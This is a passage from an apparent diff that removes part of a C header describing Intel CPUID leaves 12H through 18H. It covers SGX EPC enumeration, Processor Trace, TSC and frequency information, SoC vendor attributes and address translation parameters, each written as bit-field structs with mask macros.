sub-leaves (EAX = 12H, ECX = 2 or higher) - * - * @note Leaf 12H sub-leaf 2 or higher (ECX >= 2) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. - * This structure describes sub-leaf type 0. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 3:0] Sub-leaf Type 0. Indicates this sub-leaf is invalid. - */ - uint32_t sub_leaf_type : 4; -#define CPUID_EAX_SUB_LEAF_TYPE_BIT 0 -#define CPUID_EAX_SUB_LEAF_TYPE_FLAG 0x0F -#define CPUID_EAX_SUB_LEAF_TYPE_MASK 0x0F -#define CPUID_EAX_SUB_LEAF_TYPE(_) (((_) >> 0) & 0x0F) - uint32_t reserved1 : 28; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is zero. - */ - uint32_t zero : 32; -#define CPUID_EBX_ZERO_BIT 0 -#define CPUID_EBX_ZERO_FLAG 0xFFFFFFFF -#define CPUID_EBX_ZERO_MASK 0xFFFFFFFF -#define CPUID_EBX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is zero. - */ - uint32_t zero : 32; -#define CPUID_ECX_ZERO_BIT 0 -#define CPUID_ECX_ZERO_FLAG 0xFFFFFFFF -#define CPUID_ECX_ZERO_MASK 0xFFFFFFFF -#define CPUID_ECX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is zero. - */ - uint32_t zero : 32; -#define CPUID_EDX_ZERO_BIT 0 -#define CPUID_EDX_ZERO_FLAG 0xFFFFFFFF -#define CPUID_EDX_ZERO_MASK 0xFFFFFFFF -#define CPUID_EDX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_12_ecx_02p_slt_0; - -/** - * @brief Intel SGX EPC Enumeration Leaf, sub-leaves (EAX = 12H, ECX = 2 or higher) - * - * @note Leaf 12H sub-leaf 2 or higher (ECX >= 2) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. - * This structure describes sub-leaf type 1. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 3:0] Sub-leaf Type 1. This sub-leaf enumerates an EPC section. EBX:EAX and EDX:ECX provide information on the - * Enclave Page Cache (EPC) section. - */ - uint32_t sub_leaf_type : 4; -#define CPUID_EAX_SUB_LEAF_TYPE_BIT 0 -#define CPUID_EAX_SUB_LEAF_TYPE_FLAG 0x0F -#define CPUID_EAX_SUB_LEAF_TYPE_MASK 0x0F -#define CPUID_EAX_SUB_LEAF_TYPE(_) (((_) >> 0) & 0x0F) - uint32_t reserved1 : 8; - - /** - * [Bits 31:12] Bits 31:12 of the physical address of the base of the EPC section. - */ - uint32_t epc_base_physical_address_1 : 20; -#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_BIT 12 -#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_FLAG 0xFFFFF000 -#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_MASK 0xFFFFF -#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1(_) (((_) >> 12) & 0xFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 19:0] Bits 51:32 of the physical address of the base of the EPC section. - */ - uint32_t epc_base_physical_address_2 : 20; -#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_BIT 0 -#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_FLAG 0xFFFFF -#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_MASK 0xFFFFF -#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2(_) (((_) >> 0) & 0xFFFFF) - uint32_t reserved1 : 12; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 3:0] EPC section property encoding defined as follows: - * - If EAX[3:0] 0000b, then all bits of the EDX:ECX pair are enumerated as 0. - * - If EAX[3:0] 0001b, then this section has confidentiality and integrity protection. - * All other encodings are reserved. - */ - uint32_t epc_section_property : 4; -#define CPUID_ECX_EPC_SECTION_PROPERTY_BIT 0 -#define CPUID_ECX_EPC_SECTION_PROPERTY_FLAG 0x0F -#define CPUID_ECX_EPC_SECTION_PROPERTY_MASK 0x0F -#define CPUID_ECX_EPC_SECTION_PROPERTY(_) (((_) >> 0) & 0x0F) - uint32_t reserved1 : 8; - - /** - * [Bits 31:12] Bits 31:12 of the size of the corresponding EPC section within the Processor Reserved Memory. - */ - uint32_t epc_size_1 : 20; -#define CPUID_ECX_EPC_SIZE_1_BIT 12 -#define CPUID_ECX_EPC_SIZE_1_FLAG 0xFFFFF000 -#define CPUID_ECX_EPC_SIZE_1_MASK 0xFFFFF -#define CPUID_ECX_EPC_SIZE_1(_) (((_) >> 12) & 0xFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 19:0] Bits 51:32 of the size of the corresponding EPC section within the Processor Reserved Memory. - */ - uint32_t epc_size_2 : 20; -#define CPUID_EDX_EPC_SIZE_2_BIT 0 -#define CPUID_EDX_EPC_SIZE_2_FLAG 0xFFFFF -#define CPUID_EDX_EPC_SIZE_2_MASK 0xFFFFF -#define CPUID_EDX_EPC_SIZE_2(_) (((_) >> 0) & 0xFFFFF) - uint32_t reserved1 : 12; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_12_ecx_02p_slt_1; - -/** - * @} - */ - - /** - * @defgroup cpuid_eax_14 \ - * EAX = 0x14 - * - * When CPUID executes with EAX set to 14H and ECX = 0H, the processor returns information about Intel Processor Trace - * extensions. - * When CPUID executes with EAX set to 14H and ECX = n (n > 0 and less than the number of non-zero bits in CPUID.(EAX=14H, - * ECX= 0H).EAX), the processor returns information about packet generation in Intel Processor Trace. - * @{ - */ -#define CPUID_INTEL_PROCESSOR_TRACE_INFORMATION 0x00000014 - /** - * @brief Intel Processor Trace Enumeration Main Leaf (EAX = 14H, ECX = 0) - * - * @note Leaf 14H main leaf (ECX = 0). - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reports the maximum sub-leaf supported in leaf 14H. - */ - uint32_t max_sub_leaf : 32; -#define CPUID_EAX_MAX_SUB_LEAF_BIT 0 -#define CPUID_EAX_MAX_SUB_LEAF_FLAG 0xFFFFFFFF -#define CPUID_EAX_MAX_SUB_LEAF_MASK 0xFFFFFFFF -#define CPUID_EAX_MAX_SUB_LEAF(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bit 0] If 1, indicates that IA32_RTIT_CTL.CR3Filter can be set to 1, and that IA32_RTIT_CR3_MATCH MSR can be accessed. - */ - uint32_t flag0 : 1; -#define CPUID_EBX_FLAG0_BIT 0 -#define CPUID_EBX_FLAG0_FLAG 0x01 -#define CPUID_EBX_FLAG0_MASK 0x01 -#define CPUID_EBX_FLAG0(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] If 1, indicates support of Configurable PSB and Cycle-Accurate Mode. - */ - uint32_t flag1 : 1; -#define CPUID_EBX_FLAG1_BIT 1 -#define CPUID_EBX_FLAG1_FLAG 0x02 -#define CPUID_EBX_FLAG1_MASK 0x01 -#define CPUID_EBX_FLAG1(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If 1, indicates support of IP Filtering, TraceStop filtering, and preservation of Intel PT MSRs across warm - * reset. - */ - uint32_t flag2 : 1; -#define CPUID_EBX_FLAG2_BIT 2 -#define CPUID_EBX_FLAG2_FLAG 0x04 -#define CPUID_EBX_FLAG2_MASK 0x01 -#define CPUID_EBX_FLAG2(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] If 1, indicates support of MTC timing packet and suppression of COFI-based packets. - */ - uint32_t flag3 : 1; -#define CPUID_EBX_FLAG3_BIT 3 -#define CPUID_EBX_FLAG3_FLAG 0x08 -#define CPUID_EBX_FLAG3_MASK 0x01 -#define CPUID_EBX_FLAG3(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] If 1, indicates support of PTWRITE. Writes can set IA32_RTIT_CTL[12] (PTWEn) and IA32_RTIT_CTL[5] (FUPonPTW), - * and PTWRITE can generate packets. - */ - uint32_t flag4 : 1; -#define CPUID_EBX_FLAG4_BIT 4 -#define CPUID_EBX_FLAG4_FLAG 0x10 -#define CPUID_EBX_FLAG4_MASK 0x01 -#define CPUID_EBX_FLAG4(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] If 1, indicates support of Power Event Trace. Writes can set IA32_RTIT_CTL[4] (PwrEvtEn), enabling Power Event - * Trace packet generation. - */ - uint32_t flag5 : 1; -#define CPUID_EBX_FLAG5_BIT 5 -#define CPUID_EBX_FLAG5_FLAG 0x20 -#define CPUID_EBX_FLAG5_MASK 0x01 -#define CPUID_EBX_FLAG5(_) (((_) >> 5) & 0x01) - uint32_t reserved1 : 26; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] If 1, Tracing can be enabled with IA32_RTIT_CTL.ToPA = 1, hence utilizing the ToPA output scheme; - * IA32_RTIT_OUTPUT_BASE and IA32_RTIT_OUTPUT_MASK_PTRS MSRs can be accessed. - */ - uint32_t flag0 : 1; -#define CPUID_ECX_FLAG0_BIT 0 -#define CPUID_ECX_FLAG0_FLAG 0x01 -#define CPUID_ECX_FLAG0_MASK 0x01 -#define CPUID_ECX_FLAG0(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] If 1, ToPA tables can hold any number of output entries, up to the maximum allowed by the MaskOrTableOffset - * field of IA32_RTIT_OUTPUT_MASK_PTRS. - */ - uint32_t flag1 : 1; -#define CPUID_ECX_FLAG1_BIT 1 -#define CPUID_ECX_FLAG1_FLAG 0x02 -#define CPUID_ECX_FLAG1_MASK 0x01 -#define CPUID_ECX_FLAG1(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If 1, indicates support of Single-Range Output scheme. - */ - uint32_t flag2 : 1; -#define CPUID_ECX_FLAG2_BIT 2 -#define CPUID_ECX_FLAG2_FLAG 0x04 -#define CPUID_ECX_FLAG2_MASK 0x01 -#define CPUID_ECX_FLAG2(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] If 1, indicates support of output to Trace Transport subsystem. - */ - uint32_t flag3 : 1; -#define CPUID_ECX_FLAG3_BIT 3 -#define CPUID_ECX_FLAG3_FLAG 0x08 -#define CPUID_ECX_FLAG3_MASK 0x01 -#define CPUID_ECX_FLAG3(_) (((_) >> 3) & 0x01) - uint32_t reserved1 : 27; - - /** - * [Bit 31] If 1, generated packets which contain IP payloads have LIP values, which include the CS base component. - */ - uint32_t flag31 : 1; -#define CPUID_ECX_FLAG31_BIT 31 -#define CPUID_ECX_FLAG31_FLAG 0x80000000 -#define CPUID_ECX_FLAG31_MASK 0x01 -#define CPUID_ECX_FLAG31(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_14_ecx_00; - -/** - * @brief Intel Processor Trace Enumeration Sub-leaf (EAX = 14H, ECX = 1) - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 2:0] Number of configurable Address Ranges for filtering. - */ - uint32_t number_of_configurable_address_ranges_for_filtering : 3; -#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_BIT 0 -#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_FLAG 0x07 -#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_MASK 0x07 -#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING(_) (((_) >> 0) & 0x07) - uint32_t reserved1 : 13; - - /** - * [Bits 31:16] Bitmap of supported MTC period encodings. - */ - uint32_t bitmap_of_supported_mtc_period_encodings : 16; -#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_BIT 16 -#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_FLAG 0xFFFF0000 -#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_MASK 0xFFFF -#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS(_) (((_) >> 16) & 0xFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 15:0] Bitmap of supported Cycle Threshold value encodings. - */ - uint32_t bitmap_of_supported_cycle_threshold_value_encodings : 16; -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_BIT 0 -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_FLAG 0xFFFF -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_MASK 0xFFFF -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS(_) (((_) >> 0) & 0xFFFF) - - /** - * [Bits 31:16] Bitmap of supported Configurable PSB frequency encodings. - */ - uint32_t bitmap_of_supported_configurable_psb_frequency_encodings : 16; -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_BIT 16 -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_FLAG 0xFFFF0000 -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_MASK 0xFFFF -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS(_) (((_) >> 16) & 0xFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_14_ecx_01; - -/** - * @} - */ - - - /** - * @brief Stamp Counter and Nominal Core Crystal Clock Information Leaf - * - * When CPUID executes with EAX set to 15H and ECX = 0H, the processor returns information about Time Stamp Counter and - * Core Crystal Clock. - * - * @note If EBX[31:0] is 0, the TSC/"core crystal clock" ratio is not enumerated. EBX[31:0]/EAX[31:0] indicates the ratio - * of the TSC frequency and the core crystal clock frequency. - * If ECX is 0, the nominal core crystal clock frequency is not enumerated. "TSC frequency" = "core crystal clock - * frequency" * EBX/EAX. - */ -#define CPUID_TIME_STAMP_COUNTER_INFORMATION 0x00000015 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] An unsigned integer which is the denominator of the TSC/"core crystal clock" ratio. - */ - uint32_t denominator : 32; -#define CPUID_EAX_DENOMINATOR_BIT 0 -#define CPUID_EAX_DENOMINATOR_FLAG 0xFFFFFFFF -#define CPUID_EAX_DENOMINATOR_MASK 0xFFFFFFFF -#define CPUID_EAX_DENOMINATOR(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] An unsigned integer which is the numerator of the TSC/"core crystal clock" ratio. - */ - uint32_t numerator : 32; -#define CPUID_EBX_NUMERATOR_BIT 0 -#define CPUID_EBX_NUMERATOR_FLAG 0xFFFFFFFF -#define CPUID_EBX_NUMERATOR_MASK 0xFFFFFFFF -#define CPUID_EBX_NUMERATOR(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] An unsigned integer which is the nominal frequency of the core crystal clock in Hz. - */ - uint32_t nominal_frequency : 32; -#define CPUID_ECX_NOMINAL_FREQUENCY_BIT 0 -#define CPUID_ECX_NOMINAL_FREQUENCY_FLAG 0xFFFFFFFF -#define CPUID_ECX_NOMINAL_FREQUENCY_MASK 0xFFFFFFFF -#define CPUID_ECX_NOMINAL_FREQUENCY(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_15; - - -/** - * @brief Processor Frequency Information Leaf - * - * When CPUID executes with EAX set to 16H, the processor returns information about Processor Frequency Information. - * - * @note Data is returned from this interface in accordance with the processor's specification and does not reflect actual - * values. Suitable use of this data includes the display of processor information in like manner to the processor brand - * string and for determining the appropriate range to use when displaying processor information e.g. frequency history - * graphs. The returned information should not be used for any other purpose as the returned information does not - * accurately correlate to information / counters returned by other processor interfaces. - * While a processor may support the Processor Frequency Information leaf, fields that return a value of zero are not - * supported. - */ -#define CPUID_PROCESSOR_FREQUENCY_INFORMATION 0x00000016 -typedef struct -{ - union - { - struct - { - /** - * [Bits 15:0] Processor Base Frequency (in MHz). - */ - uint32_t procesor_base_frequency_mhz : 16; -#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_BIT 0 -#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_FLAG 0xFFFF -#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_MASK 0xFFFF -#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 15:0] Maximum Frequency (in MHz). - */ - uint32_t processor_maximum_frequency_mhz : 16; -#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_BIT 0 -#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_FLAG 0xFFFF -#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_MASK 0xFFFF -#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 15:0] Bus (Reference) Frequency (in MHz). - */ - uint32_t bus_frequency_mhz : 16; -#define CPUID_ECX_BUS_FREQUENCY_MHZ_BIT 0 -#define CPUID_ECX_BUS_FREQUENCY_MHZ_FLAG 0xFFFF -#define CPUID_ECX_BUS_FREQUENCY_MHZ_MASK 0xFFFF -#define CPUID_ECX_BUS_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_16; - -/** - * @defgroup cpuid_eax_17 \ - * EAX = 0x17 - * - * When CPUID executes with EAX set to 17H, the processor returns information about the System-On-Chip Vendor Attribute - * Enumeration. - * @{ - */ -#define CPUID_SOC_VENDOR_INFORMATION 0x00000017 - /** - * @brief System-On-Chip Vendor Attribute Enumeration Main Leaf (EAX = 17H, ECX = 0) - * - * @note Leaf 17H main leaf (ECX = 0). Leaf 17H output depends on the initial value in ECX. Leaf 17H sub-leaves 1 through 3 - * reports SOC Vendor Brand String. Leaf 17H is valid if MaxSOCID_Index >= 3. Leaf 17H sub-leaves 4 and above are reserved. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reports the maximum input value of supported sub-leaf in leaf 17H. - */ - uint32_t max_soc_id_index : 32; -#define CPUID_EAX_MAX_SOC_ID_INDEX_BIT 0 -#define CPUID_EAX_MAX_SOC_ID_INDEX_FLAG 0xFFFFFFFF -#define CPUID_EAX_MAX_SOC_ID_INDEX_MASK 0xFFFFFFFF -#define CPUID_EAX_MAX_SOC_ID_INDEX(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 15:0] SOC Vendor ID. - */ - uint32_t soc_vendor_id : 16; -#define CPUID_EBX_SOC_VENDOR_ID_BIT 0 -#define CPUID_EBX_SOC_VENDOR_ID_FLAG 0xFFFF -#define CPUID_EBX_SOC_VENDOR_ID_MASK 0xFFFF -#define CPUID_EBX_SOC_VENDOR_ID(_) (((_) >> 0) & 0xFFFF) - - /** - * [Bit 16] If 1, the SOC Vendor ID field is assigned via an industry standard enumeration scheme. Otherwise, the SOC - * Vendor ID field is assigned by Intel. - */ - uint32_t is_vendor_scheme : 1; -#define CPUID_EBX_IS_VENDOR_SCHEME_BIT 16 -#define CPUID_EBX_IS_VENDOR_SCHEME_FLAG 0x10000 -#define CPUID_EBX_IS_VENDOR_SCHEME_MASK 0x01 -#define CPUID_EBX_IS_VENDOR_SCHEME(_) (((_) >> 16) & 0x01) - uint32_t reserved1 : 15; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] A unique number an SOC vendor assigns to its SOC projects. - */ - uint32_t project_id : 32; -#define CPUID_ECX_PROJECT_ID_BIT 0 -#define CPUID_ECX_PROJECT_ID_FLAG 0xFFFFFFFF -#define CPUID_ECX_PROJECT_ID_MASK 0xFFFFFFFF -#define CPUID_ECX_PROJECT_ID(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] A unique number within an SOC project that an SOC vendor assigns. - */ - uint32_t stepping_id : 32; -#define CPUID_EDX_STEPPING_ID_BIT 0 -#define CPUID_EDX_STEPPING_ID_FLAG 0xFFFFFFFF -#define CPUID_EDX_STEPPING_ID_MASK 0xFFFFFFFF -#define CPUID_EDX_STEPPING_ID(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_17_ecx_00; - -/** - * @brief System-On-Chip Vendor Attribute Enumeration Sub-leaf (EAX = 17H, ECX = 1..3) - * - * @note Leaf 17H output depends on the initial value in ECX. SOC Vendor Brand String is a UTF-8 encoded string padded with - * trailing bytes of 00H. The complete SOC Vendor Brand String is constructed by concatenating in ascending order of - * EAX:EBX:ECX:EDX and from the sub-leaf 1 fragment towards sub-leaf 3. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. - */ - uint32_t soc_vendor_brand_string : 32; -#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_BIT 0 -#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF -#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF -#define CPUID_EAX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. - */ - uint32_t soc_vendor_brand_string : 32; -#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_BIT 0 -#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF -#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF -#define CPUID_EBX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. - */ - uint32_t soc_vendor_brand_string : 32; -#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_BIT 0 -#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF -#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF -#define CPUID_ECX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. - */ - uint32_t soc_vendor_brand_string : 32; -#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_BIT 0 -#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF -#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF -#define CPUID_EDX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_17_ecx_01_03; - -/** - * @brief System-On-Chip Vendor Attribute Enumeration Sub-leaves (EAX = 17H, ECX > MaxSOCID_Index) - * - * @note Leaf 17H output depends on the initial value in ECX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reserved = 0. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Reserved = 0. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Reserved = 0. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Reserved = 0. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_17_ecx_n; - -/** - * @} - */ - - /** - * @defgroup cpuid_eax_18 \ - * EAX = 0x18 - * - * When CPUID executes with EAX set to 18H, the processor returns information about the Deterministic Address Translation - * Parameters. - * @{ - */ -#define CPUID_DETERMINISTIC_ADDRESS_TRANSLATION_PARAMETERS 0x00000018 - /** - * @brief Deterministic Address Translation Parameters Main Leaf (EAX = 18H, ECX = 0) - * - * @note Each sub-leaf enumerates a different address translation structure. - * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf index n is invalid if n exceeds the value - * that sub-leaf 0 returns in EAX. A sub-leaf index is also invalid if EDX[4:0] returns 0. Valid sub-leaves do not need to - * be contiguous or in any particular order. A valid sub-leaf may be in a higher input ECX value than an invalid sub-leaf - * or than a valid sub-leaf of a higher or lower-level structure. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reports the maximum input value of supported sub-leaf in leaf 18H. - */ - uint32_t max_sub_leaf : 32; -#define CPUID_EAX_MAX_SUB_LEAF_BIT 0 -#define CPUID_EAX_MAX_SUB_LEAF_FLAG 0xFFFFFFFF -#define CPUID_EAX_MAX_SUB_LEAF_MASK 0xFFFFFFFF -#define CPUID_EAX_MAX_SUB_LEAF(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bit 0] 4K page size entries supported by this structure. - */ - uint32_t page_entries_4kb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_BIT 0 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_FLAG 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] 2MB page size entries supported by this structure. - */ - uint32_t page_entries_2mb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_BIT 1 